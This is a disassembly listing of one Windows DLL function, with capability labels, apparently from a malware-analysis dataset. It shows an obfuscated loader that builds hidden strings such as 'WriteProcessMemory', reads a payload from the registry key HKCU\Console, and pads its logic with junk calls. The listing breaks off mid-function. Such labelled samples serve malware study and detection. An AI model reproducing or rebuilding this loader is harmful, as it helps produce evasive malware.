Function at 0x1800018d0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Execute shellcode via indirect call
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov qword [rbp + 7], 0xfffffffffffffffe
call fcn.1800010e0
test eax, eax
je 0x1800018f9
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001907
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001915
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001923
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001931
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x18000193f
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x18000194d
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x18000195b
call fcn.180001240
call fcn.1800012f0
test eax, eax
je 0x180001969
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001977
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001985
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001993
call fcn.1800012f0
call fcn.180001190
test eax, eax
je 0x1800019a1
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x1800019af
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x1800019bd
call fcn.180001050
call fcn.1800013a0
test eax, eax
je 0x1800019cb
call fcn.1800010e0
call fcn.180001190
test eax, eax
je 0x1800019d9
call fcn.1800010e0
call fcn.180001050
test eax, eax
je 0x1800019e7
call fcn.180001240
call fcn.1800010e0
test eax, eax
je 0x1800019f5
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001a03
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001a11
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001a1f
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001a2d
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001a3b
call fcn.180001050
call fcn.1800012f0
test eax, eax
je 0x180001a49
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001a57
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001a65
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001a73
call fcn.1800012f0
call fcn.180001050
test eax, eax
je 0x180001a81
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001a8f
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001a9d
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001aab
call fcn.180001500
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
je 0x180001b03
mov dword [rbp - 0x69], 0x74697257
mov dword [rbp - 0x65], 0x6f725065
mov dword [rbp - 0x61], 0x73736563
mov dword [rbp - 0x5d], 0x6f6d654d
mov word [rbp - 0x59], 0x7972
mov byte [rbp - 0x57], 0
lea rdx, [rbp - 0x69]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1800154a8], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [rsp + 0x40], 0x61657771
mov dword [rsp + 0x44], 0x32336473
mov dword [rsp + 0x48], 0x63787a31
mov byte [rbp - 0x7d], 0
mov qword [rbp - 9], 0xf
xor r12d, r12d
mov qword [rbp - 0x11], r12
mov byte [rbp - 0x21], r12b
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x40]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x21]
call fcn.180003c30
nop
lea rdx, [rbp - 0x21]
lea rcx, [rbp + 0xf]
call fcn.180001780
nop
cmp qword [rbp - 9], 0x10
jb 0x180001b73
mov rcx, qword [rbp - 0x21]
call fcn.180004a38
mov qword [rbp - 9], 0xf
mov qword [rbp - 0x11], r12
mov byte [rbp - 0x21], 0
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x49]
call fcn.1800018b0
nop
call fcn.180001050
test eax, eax
je 0x180001b9f
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001bad
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001bbb
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001bc9
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001bd7
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001be5
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001bf3
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001c01
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001c0f
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001c1d
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001c2b
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001c39
call fcn.1800012f0
call fcn.180001240
test eax, eax
je 0x180001c47
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001c55
call fcn.180001050
call fcn.1800013a0
test eax, eax
je 0x180001c63
call fcn.1800010e0
call fcn.180001450
test eax, eax
je 0x180001c71
call fcn.180001190
call fcn.180001050
test eax, eax
je 0x180001c7f
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001c8d
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001c9b
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001ca9
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001cb7
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001cc5
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001cd3
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001ce1
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001cef
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001cfd
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001d0b
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001d19
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001d27
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001d35
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001d43
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001d51
call fcn.180001050
mov dword [rbp + 0x7f], 0x736e6f43
mov dword [rbp + 0x83], 0x656c6f
lea rax, [rbp - 0x51]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, [rbp + 0x7f]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x77], r12d
call fcn.180001050
test eax, eax
je 0x180001d97
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001da5
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001db3
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001dc1
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001dcf
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001ddd
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001deb
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001df9
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180001e07
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001e15
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001e23
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001e31
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x180001e3f
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x180001e4d
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180001e5b
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180001e69
call fcn.180001050
lea rdx, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae rdx, qword [rbp - 0x49]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x77]
call fcn.180004208
mov rbx, rax
call fcn.1800010e0
test eax, eax
je 0x180001eae
call fcn.180001050
call fcn.180001190
test eax, eax
je 0x180001ebc
call fcn.180001240
call fcn.180001240
test eax, eax
je 0x180001eca
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001ed8
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001ee6
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180001ef4
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001f02
call fcn.180001240
call fcn.180001190
test eax, eax
je 0x180001f10
call fcn.180001240
call fcn.1800012f0
test eax, eax
je 0x180001f1e
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180001f2c
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180001f3a
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x180001f48
call fcn.1800012f0
call fcn.180001050
test eax, eax
je 0x180001f56
call fcn.180001450
call fcn.1800010e0
test eax, eax
je 0x180001f64
call fcn.180001500
call fcn.180001190
test eax, eax
je 0x180001f72
call fcn.1800012f0
call fcn.180001240
test eax, eax
je 0x180001f80
call fcn.1800013a0
lea rdx, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae rdx, qword [rbp - 0x49]
lea rax, [rbp + 0x77]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x77]
call fcn.180004208
mov rsi, rax
call fcn.180001240
test eax, eax
je 0x180001fc5
call fcn.1800010e0
call fcn.1800010e0
test eax, eax
je 0x180001fd3
call fcn.180001190
call fcn.180001190
test eax, eax
je 0x180001fe1
call fcn.180001050
call fcn.180001050
test eax, eax
je 0x180001fef
call fcn.1800010e0
call fcn.180001190
test eax, eax
je 0x180001ffd
call fcn.1800010e0
call fcn.180001050
test eax, eax
je 0x18000200b
call fcn.180001240
call fcn.1800010e0
test eax, eax
je 0x180002019
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x180002027
call fcn.1800010e0
call fcn.1800012f0
test eax, eax
je 0x180002035
call fcn.1800013a0
call fcn.1800013a0
test eax, eax
je 0x180002043
call fcn.180001450
call fcn.180001450
test eax, eax
je 0x180002051
call fcn.180001500
call fcn.180001500
test eax, eax
je 0x18000205f
call fcn.1800012f0
call fcn.1800010e0
test eax, eax
je 0x18000206d
call fcn.1800013a0
call fcn.180001190
test eax, eax
je 0x18000207b
call fcn.180001450
call fcn.180001240
test eax, eax
je 0x180002089
call fcn.180001500
call fcn.1800012f0
test eax, eax
je 0x180002097
call fcn.180001050
cmp dword [rbp + 0x77], 0
jbe 0x1800020c5
mov rdx, rsi
sub rbx, rsi
mov rdi, rsi
neg rdi
nop dword [rax]
movzx eax, byte [rbx + rdx]
mov byte [rdx], al
inc rdx
lea rcx, [rdi + rdx]
mov eax, dword [rbp + 0x77]
cmp rcx, rax
jb 0x1800020b0
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp + 0x67], 0x38
mov dword [rbp + 0x6f], 0x11
mov ecx, dword [rbp + 0x67]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002108
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 2
jle 0x18000215c
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*4]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 5
jge 0x18000214f
nop dword [rax + rax]
inc dword [rbp + 0x67]
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
add dword [rbp + 0x6f], 3
add dword [rbp + 0x67], 3
mov eax, dword [rbp + 0x67]
cmp eax, 5
jl 0x180002130
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x18000215c
call fcn.1800010e0
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x18000217b
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x18000218e
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x1800021da
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x1800021cd
nop dword [rax]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
inc dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 2
jl 0x1800021b0
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
je 0x1800021da
call fcn.180001240
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x180002211
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x180002258
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x18000224e
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x180002231
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x18000225d
call fcn.180001190
call fcn.180001240
test eax, eax
je 0x18000226b
call fcn.1800010e0
mov dword [rbp + 0x67], 0x15
mov dword [rbp + 0x6f], 0x4b
mov ecx, dword [rbp + 0x67]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x1800022a2
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
cmp eax, 1
jle 0x1800022e9
mov eax, dword [rbp + 0x67]
lea ecx, [rax + rax*2]
mov dword [rbp + 0x67], ecx
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 3
jge 0x1800022df
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
mov ecx, dword [rbp + 0x67]
cdq
idiv ecx
mov dword [rbp + 0x6f], eax
dec dword [rbp + 0x6f]
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x67]
cmp eax, 3
jl 0x1800022c2
inc dword [rbp + 0x67]
mov eax, dword [rbp + 0x6f]
test eax, eax
je 0x180002363
mov dword [rbp + 0x67], 0x8a
mov dword [rbp + 0x6f], 0x79d
mov eax, dword [rbp + 0x67]
and eax, 0x80000001
jge 0x180002308
dec eax
or eax, 0xfffffffe
inc eax
inc dword [rbp + 0x67]
test eax, eax
jle 0x18000231b
mov ecx, dword [rbp + 0x6f]
mov eax, dword [rbp + 0x67]
imul ecx, eax
mov dword [rbp + 0x6f], ecx
mov eax, dword [rbp + 0x6f]
test eax, eax
jns 0x180002363
mov eax, dword [rbp + 0x67]
add eax, eax
mov dword [rbp + 0x67], eax
mov dword [rbp + 0x67], 1
mov eax, dword [rbp + 0x67]
cmp eax, 2
jge 0x18000235d
mov dword [rbp + 0x67], 0x38
mov dword [rbp + 0x6f], 0x11
mov ecx, dword [rbp + 0x67]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
sub ecx, eax
dec dword [rbp + 0x67]
test ecx, ecx
jle 0x18000239c